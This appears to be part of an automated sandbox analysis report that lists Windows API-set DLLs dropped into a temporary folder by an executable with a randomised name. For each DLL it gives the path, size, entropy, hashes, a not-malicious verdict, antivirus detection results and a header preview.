SHA-512:	7C6E1E022DB4217A85A4012C8E4DAEE0A0F987E4FBA8A4C952424EF28E250BAC38B088C242D72B4641157B7CC882161AEFA177765A2E23AFCDC627188A084345
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....^[..........." .........................................................0......@^....`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15328
Entropy (8bit):	6.561472518225768
Encrypted:	false
SSDEEP:	192:RaNYPvVX8rFTsoWthWgWf9BvVVWQ4SWfMaPOoI80Hy5qnajslBE87QyX:HPvVXqWthWlN2WlslEE87Qw
MD5:	0F7D418C05128246AFA335A1FB400CB9
SHA1:	F6313E371ED5A1DFFE35815CC5D25981184D0368
SHA-256:	5C9BC70586AD538B0DF1FCF5D6F1F3527450AE16935AA34BD7EB494B4F1B2DB9
SHA-512:	7555D9D3311C8622DF6782748C2186A3738C4807FC58DF2F75E539729FC4069DB23739F391950303F12E0D25DF9F065B4C52E13B2EBB6D417CA4C12CFDECA631
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...*.;A.........." .........................................................@.......m....`A........................................p................0...................!..............p............................................................................rdata..<...........................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.638884356866373
Encrypted:	false
SSDEEP:	192:jlWaWthWAWf9BvVVWQ4WWloprVP+CjAWqnajKsNWqL:jIaWthWFNxtVP+CcWlGsNxL
MD5:	5A72A803DF2B425D5AAFF21F0F064011
SHA1:	4B31963D981C07A7AB2A0D1A706067C539C55EC5
SHA-256:	629E52BA4E2DCA91B10EF7729A1722888E01284EED7DDA6030D0A1EC46C94086
SHA-512:	BF44997C405C2BA80100EB0F2FF7304938FC69E4D7AE3EAC52B3C236C3188E80C9F18BDA226B5F4FDE0112320E74C198AD985F9FFD7CEA99ACA22980C39C7F69
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...=+vj.........." .........................................................0.......N....`A........................................p...L............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11744
Entropy (8bit):	6.744400973311854
Encrypted:	false
SSDEEP:	96:imdzvQzEWthWwMVDEs3f0DHDsVBIwgmqvrnDD0ADEs3TDL2L4m2grMWaLN5DEs3r:v3WthWyWf9BvVVWQ4SWVVFJqqnajW2y
MD5:	721B60B85094851C06D572F0BD5D88CD
SHA1:	4D0EE4D717AEB9C35DA8621A545D3E2B9F19B4E7
SHA-256:	DAC867476CAA42FF8DF8F5DFE869FFD56A18DADEE17D47889AFB69ED6519AFBF
SHA-512:	430A91FCECDE4C8CC4AC7EB9B4C6619243AB244EE88C34C9E93CA918E54BD42B08ACA8EA4475D4C0F5FA95241E4AACB3206CBAE863E92D15528C8E7C9F45601B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d..............." .........................................................0......T`....`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11736
Entropy (8bit):	6.638488013343178
Encrypted:	false
SSDEEP:	192:frWthWFWf9BvVVWQ4SWNOfvXqnajJ6H4WJ:frWthWANRXll6H4WJ
MD5:	D1DF480505F2D23C0B5C53DF2E0E2A1A
SHA1:	207DB9568AFD273E864B05C87282987E7E81D0BA
SHA-256:	0B3DFB8554EAD94D5DA7859A12DB353942406F9D1DFE3FAC3D48663C233EA99D
SHA-512:	F14239420F5DD84A15FF5FCA2FAD81D0AA9280C566FA581122A018E10EBDF308AC0BF1D3FCFC08634C1058C395C767130C5ABCA55540295C68DF24FFD931CA0A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....(..........." .........................................................0......;.....`A........................................p...`............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12256
Entropy (8bit):	6.588267640761022
Encrypted:	false
SSDEEP:	192:txlkWthW2Wf9BvVVWQ4SWBBBuUgxfzfqnaj0OTWv:txlkWthW7NkIrloFv
MD5:	73433EBFC9A47ED16EA544DDD308EAF8
SHA1:	AC1DA1378DD79762C6619C9A63FD1EBE4D360C6F
SHA-256:	C43075B1D2386A8A262DE628C93A65350E52EAE82582B27F879708364B978E29
SHA-512:	1C28CC0D3D02D4C308A86E9D0BC2DA88333DFA8C92305EC706F3E389F7BB6D15053040AFD1C4F0AA3383F3549495343A537D09FE882DB6ED12B7507115E5A263
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....pi..........." .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..<...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.678828474114903
Encrypted:	false
SSDEEP:	192:4TWthWckWf9BvVVWQ4mWQAyUD7DiqnajKswzjdg:4TWthWcRNqGlGswzji
MD5:	7C7B61FFA29209B13D2506418746780B
SHA1:	08F3A819B5229734D98D58291BE4BFA0BEC8F761
SHA-256:	C23FE8D5C3CA89189D11EC8DF983CC144D168CB54D9EAB5D9532767BCB2F1FA3
SHA-512:	6E5E3485D980E7E2824665CBFE4F1619B3E61CE3BCBF103979532E2B1C3D22C89F65BCFBDDBB5FE88CDDD096F8FD72D498E8EE35C3C2307BACECC6DEBBC1C97F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....\|............" .........................................................0.......3....`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12752
Entropy (8bit):	6.602852377056617
Encrypted:	false
SSDEEP:	192:Us13vuBL3B5LoWthW7Wf9BvVVWQ4mWgB7OQP+CjAWqnajKsN9arO:Us13vuBL3B2WthWmNVXP+CcWlGsN9P
MD5:	6D0550D3A64BD3FD1D1B739133EFB133
SHA1:	C7596FDE7EA1C676F0CC679CED8BA810D15A4AFE
SHA-256:	F320F9C0463DE641B396CE7561AF995DE32211E144407828B117088CF289DF91
SHA-512:	5DA9D490EF54A1129C94CE51349399B9012FC0D4B575AE6C9F1BAFCFCF7F65266F797C539489F882D4AD924C94428B72F5137009A851ECB541FE7FB9DE12FEB2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...]. ,.........." .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..X...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14800
Entropy (8bit):	6.528059454770997
Encrypted:	false
SSDEEP:	384:On2OMw3zdp3bwjGfue9/0jCRrndbZWWthWdNHhfVlGsSH:/OMwBprwjGfue9/0jCRrndbLEKv
MD5:	1ED0B196AB58EDB58FCF84E1739C63CE
SHA1:	AC7D6C77629BDEE1DF7E380CC9559E09D51D75B7
SHA-256:	8664222823E122FCA724620FD8B72187FC5336C737D891D3CEF85F4F533B8DE2
SHA-512:	E1FA7F14F39C97AAA3104F3E13098626B5F7CFD665BA52DCB2312A329639AAF5083A9177E4686D11C4213E28ACC40E2C027988074B6CC13C5016D5C5E9EF897B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...w............" .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12240
Entropy (8bit):	6.659218747104705
Encrypted:	false
SSDEEP:	192:2E+tWthWvWf9BvVVWQ4mWxHD7DiqnajKswzGIAf:T+tWthWiNcGlGswzLAf
MD5:	721BAEA26A27134792C5CCC613F212B2
SHA1:	2A27DCD2436DF656A8264A949D9CE00EAB4E35E8
SHA-256:	5D9767D8CCA0FBFD5801BFF2E0C2ADDDD1BAAAA8175543625609ABCE1A9257BD
SHA-512:	9FD6058407AA95058ED2FDA9D391B7A35FA99395EC719B83C5116E91C9B448A6D853ECC731D0BDF448D1436382EECC1FA9101F73FA242D826CC13C4FD881D9BD
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...,OT..........." .........................................................0...........`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.739082809754283
Encrypted:	false
SSDEEP:	192:vdWthW8Wf9BvVVWQ4mWG2P+CjAWqnajKsNt:lWthWJNUP+CcWlGsNt
MD5:	B3F887142F40CB176B59E58458F8C46D
SHA1:	A05948ABA6F58EB99BBAC54FA3ED0338D40CBFAD
SHA-256:	8E015CDF2561450ED9A0773BE1159463163C19EAB2B6976155117D16C36519DA
SHA-512:	7B762319EC58E3FCB84B215AE142699B766FA9D5A26E1A727572EE6ED4F5D19C859EFB568C0268846B4AA5506422D6DD9B4854DA2C9B419BFEC754F547203F7E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...X.j..........." .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12752
Entropy (8bit):	6.601112204637961
Encrypted:	false
SSDEEP:	192:GFPWthW5Wf9BvVVWQ4mWc0ZD7DiqnajKswzczr:GFPWthWsNiGlGswzq
MD5:	89F35CB1212A1FD8FBE960795C92D6E8
SHA1:	061AE273A75324885DD098EE1FF4246A97E1E60C
SHA-256:	058EB7CE88C22D2FF7D3E61E6593CA4E3D6DF449F984BF251D9432665E1517D1
SHA-512:	F9E81F1FEAB1535128B16E9FF389BD3DAAAB8D1DABF64270F9E563BE9D370C023DE5D5306DD0DE6D27A5A099E7C073D17499442F058EC1D20B9D37F56BCFE6D2
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...ig............" .........................................................0......H.....`A........................................p...H............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14288
Entropy (8bit):	6.521808801015781
Encrypted:	false
SSDEEP:	192:/uUk1Jzb9cKcIzWthWzaWf9BvVVWQ4mWmrcLUVT/gqnajKsrCOV:/bk1JzBcKcIzWthWzXNz1IlGsrCOV
MD5:	0C933A4B3C2FCF1F805EDD849428C732
SHA1:	B8B19318DBB1D2B7D262527ABD1468D099DE3FB6
SHA-256:	A5B733E3DCE21AB62BD4010F151B3578C6F1246DA4A96D51AC60817865648DD3
SHA-512:	B25ED54345A5B14E06AA9DADD07B465C14C23225023D7225E04FBD8A439E184A7D43AB40DF80E3F8A3C0F2D5C7A79B402DDC6B9093D0D798E612F4406284E39D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....U..........." .........................................................0......Y.....`A........................................p................ ...................!..............p............................................................................rdata..4...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12240
Entropy (8bit):	6.671157737548847
Encrypted:	false
SSDEEP:	192:7oDfIeVWthWZWf9BvVVWQ4mWaHvP+CjAWqnajKsNZ:7oDfIeVWthWMNVP+CcWlGsNZ
MD5:	7E8B61D27A9D04E28D4DAE0BFA0902ED
SHA1:	861A7B31022915F26FB49C79AC357C65782C9F4B
SHA-256:	1EF06C600C451E66E744B2CA356B7F4B7B88BA2F52EC7795858D21525848AC8C
SHA-512:	1C5B35026937B45BEB76CB8D79334A306342C57A8E36CC15D633458582FC8F7D9AB70ACE7A92144288C6C017F33ECFC20477A04432619B40A21C9CDA8D249F6D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d..............." .........................................................0......N.....`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.599056003106114
Encrypted:	false
SSDEEP:	192:gR7WthWTVWf9BvVVWQ4mWg2a5P+CjAWqnajKsNQbWl:gVWthWkN/P+CcWlGsNMg
MD5:	8D12FFD920314B71F2C32614CC124FEC
SHA1:	251A98F2C75C2E25FFD0580F90657A3EA7895F30
SHA-256:	E63550608DD58040304EA85367E9E0722038BA8E7DC7BF9D91C4D84F0EC65887
SHA-512:	5084C739D7DE465A9A78BCDBB8A3BD063B84A68DCFD3C9EF1BFA224C1CC06580E2A2523FD4696CFC48E9FD068A2C44DBC794DD9BDB43DC74B4E854C82ECD3EA5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....X4.........." .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12240
Entropy (8bit):	6.602527553095181
Encrypted:	false
SSDEEP:	192:zGeVfcWthW+Wf9BvVVWQ4mWMiSID7DiqnajKswz5g:zGeVfcWthWjN6SIGlGswza
MD5:	9FA3FC24186D912B0694A572847D6D74
SHA1:	93184E00CBDDACAB7F2AD78447D0EAC1B764114D
SHA-256:	91508AB353B90B30FF2551020E9755D7AB0E860308F16C2F6417DFB2E9A75014
SHA-512:	95AD31C9082F57EA57F5B4C605331FCAD62735A1862AFB01EF8A67FEA4E450154C1AE0C411CF3AC5B9CD35741F8100409CC1910F69C1B2D807D252389812F594
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....P..........." .........................................................0.......`....`A........................................p................ ...................!..............p............................................................................rdata..P...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.6806369134652055
Encrypted:	false
SSDEEP:	192:qyMv0WthWPWf9BvVVWQ4mWIv/r+YVqnajKsSF:qyMv0WthWCNBfVlGsSF
MD5:	C9CBAD5632D4D42A1BC25CCFA8833601
SHA1:	09F37353A89F1BFE49F7508559DA2922B8EFEB05
SHA-256:	F3A7A9C98EBE915B1B57C16E27FFFD4DDF31A82F0F21C06FE292878E48F5883E
SHA-512:	2412E0AFFDC6DB069DE7BD9666B7BAA1CD76AA8D976C9649A4C2F1FFCE27F8269C9B02DA5FD486EC86B54231B1A5EBF6A1C72790815B7C253FEE1F211086892F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....E.=.........." .........................................................0............`A........................................p................ ...................!..............p............................................................................rdata..,...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13776
Entropy (8bit):	6.573983778839785
Encrypted:	false
SSDEEP:	384:miwidv3V0dfpkXc0vVauzIWthWLN3fVlGsStY:nHdv3VqpkXc0vVaKbiYlY
MD5:	4CCDE2D1681217E282996E27F3D9ED2E
SHA1:	8EDA134B0294ED35E4BBAC4911DA620301A3F34D
SHA-256:	D6708D1254ED88A948871771D6D1296945E1AA3AEB7E33E16CC378F396C61045
SHA-512:	93FE6AE9A947AC88CC5ED78996E555700340E110D12B2651F11956DB7CEE66322C269717D31FCCB31744F4C572A455B156B368F08B70EDA9EFFEC6DE01DBAB23
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....k,..........." .........................................................0......3.....`A........................................p...X............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12240
Entropy (8bit):	6.7137872023984055
Encrypted:	false
SSDEEP:	192:TtZ3KjWthWzWf9BvVVWQ4mWXU0P+CjAWqnajKsN2v:TtZ3KjWthWeNwP+CcWlGsNa
MD5:	E86CFC5E1147C25972A5EEFED7BE989F
SHA1:	0075091C0B1F2809393C5B8B5921586BDD389B29
SHA-256:	72C639D1AFDA32A65143BCBE016FE5D8B46D17924F5F5190EB04EFE954C1199A
SHA-512:	EA58A8D5AA587B7F5BDE74B4D394921902412617100ED161A7E0BEF6B3C91C5DAE657065EA7805A152DD76992997017E070F5415EF120812B0D61A401AA8C110
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...jN/..........." .........................................................0............`A........................................p...x............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12768
Entropy (8bit):	6.614330511483598
Encrypted:	false
SSDEEP:	192:vgdKIMFYJWthW2Wf9BvVVWQ4SW2zZ7uUgxfzfqnaj0OGWh:0hJWthW7NBzIrloYh
MD5:	206ADCB409A1C9A026F7AFDFC2933202
SHA1:	BB67E1232A536A4D1AE63370BD1A9B5431335E77
SHA-256:	76D8E4ED946DEEFEEFA0D0012C276F0B61F3D1C84AF00533F4931546CBB2F99E
SHA-512:	727AA0C4CD1A0B7E2AFFDCED5DA3A0E898E9BAE3C731FF804406AD13864CEE2B27E5BAAC653BAB9A0D2D961489915D4FCAD18557D4383ECB0A066902276955A7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....~y..........." .........................................................0............`A........................................p...H............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12240
Entropy (8bit):	6.704366348384627
Encrypted:	false
SSDEEP:	192:Ha2WthWKOWf9BvVVWQ4mWNOrVT/gqnajKsrCkb:Ha2WthWKTNz1IlGsrCo
MD5:	91A2AE3C4EB79CF748E15A58108409AD
SHA1:	D402B9DF99723EA26A141BFC640D78EAF0B0111B
SHA-256:	B0EDA99EABD32FEFECC478FD9FE7439A3F646A864FDAB4EC3C1F18574B5F8B34
SHA-512:	8527AF610C1E2101B6F336A142B1A85AC9C19BB3AF4AD4A245CFB6FD602DC185DA0F7803358067099475102F3A8F10A834DC75B56D3E6DED2ED833C00AD217ED
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....%j.........." .........................................................0......\|B....`A........................................p...P............ ...................!..............p............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11728
Entropy (8bit):	6.623077637622405
Encrypted:	false
SSDEEP:	192:jWthWYWf9BvVVWQ4mWd8l1P+CjAWqnajKsNeCw:jWthW9NnP+CcWlGsNex
MD5:	1E4C4C8E643DE249401E954488744997
SHA1:	DB1C4C0FC907100F204B21474E8CD2DB0135BC61
SHA-256:	F28A8FE2CD7E8E00B6D2EC273C16DB6E6EEA9B6B16F7F69887154B6228AF981E
SHA-512:	EF8411FD321C0E363C2E5742312CC566E616D4B0A65EFF4FB6F1B22FDBEA3410E1D75B99E889939FF70AD4629C84CEDC88F6794896428C5F0355143443FDC3A3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d.....R..........." .........................................................0............`A........................................p...<............ ...................!..............p............................................................................rdata..p...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12752
Entropy (8bit):	6.643812426159955
Encrypted:	false
SSDEEP:	192:fSWthWvWf9BvVVWQ4mWFl5P+CjAWqnajKsNifl:aWthWiN+5P+CcWlGsNiN
MD5:	FA770BCD70208A479BDE8086D02C22DA
SHA1:	28EE5F3CE3732A55CA60AEE781212F117C6F3B26
SHA-256:	E677497C1BAEFFFB33A17D22A99B76B7FA7AE7A0C84E12FDA27D9BE5C3D104CF
SHA-512:	F8D81E350CEBDBA5AFB579A072BAD7986691E9F3D4C9FEBCA8756B807301782EE6EB5BA16B045CFA29B6E4F4696E0554C718D36D4E64431F46D1E4B1F42DC2B8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d................" .........................................................0......l.....`A........................................P................ ...................!..............p............................................................................rdata..@...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15824
Entropy (8bit):	6.438848882089563
Encrypted:	false
SSDEEP:	192:yjQ/w8u4cyNWthWYWf9BvVVWQ4mWhu1BVT/gqnajKsrC74m:8yNWthW9Np1IlGsrCEm
MD5:	4EC4790281017E616AF632DA1DC624E1
SHA1:	342B15C5D3E34AB4AC0B9904B95D0D5B074447B7
SHA-256:	5CF5BBB861608131B5F560CBF34A3292C80886B7C75357ACC779E0BF98E16639
